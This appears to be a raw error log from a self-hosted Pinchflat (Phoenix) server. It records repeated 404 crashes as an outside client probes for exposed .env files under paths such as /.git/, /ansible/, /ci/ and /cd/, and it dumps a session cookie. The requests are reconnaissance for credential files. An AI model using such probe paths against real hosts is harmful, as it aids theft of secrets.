"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:21.405 [info] GET /ansible/.env 02:10:21.405 [debug] QUERY OK source="settings" db=0.2ms idle=182.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.406 [debug] QUERY OK source="settings" db=0.1ms idle=118.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.406 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.406 [error] #PID<0.3487.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 183) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /ansible/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ansible/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ansible/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 183, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3487.0>, params: %{}, path_info: ["ansible", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/ansible/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk64vl5IycGdQAAS2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ansible/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 183, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ansible/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ansible/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 183, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:21.468 [info] GET /.git/.env 02:10:21.468 [debug] QUERY OK source="settings" db=0.1ms idle=179.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.468 [debug] QUERY OK source="settings" db=0.1ms idle=118.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.468 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.469 [error] #PID<0.3488.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 184) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 184, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3488.0>, params: %{}, path_info: [".git", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.git/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk64-kIPvYW-gAAS3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 184, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 184, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:21.544 [info] GET /ci/.env 02:10:21.545 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=193.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.545 [debug] QUERY OK source="settings" db=0.2ms idle=139.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.546 [error] #PID<0.3489.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 185) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /ci/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ci/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 185, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3489.0>, params: %{}, path_info: ["ci", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/ci/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk65Qvpe3dhbIAAS4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 185, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ci/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ci/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 185, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchfl (truncated) 02:10:21.599 [info] GET /cd/.env 02:10:21.601 [debug] QUERY OK source="settings" db=0.5ms idle=194.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.601 [debug] QUERY OK source="settings" db=0.3ms idle=132.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.601 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.602 [error] #PID<0.3490.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 186) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cd/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cd/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cd/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 186, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3490.0>, params: %{}, path_info: ["cd", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], 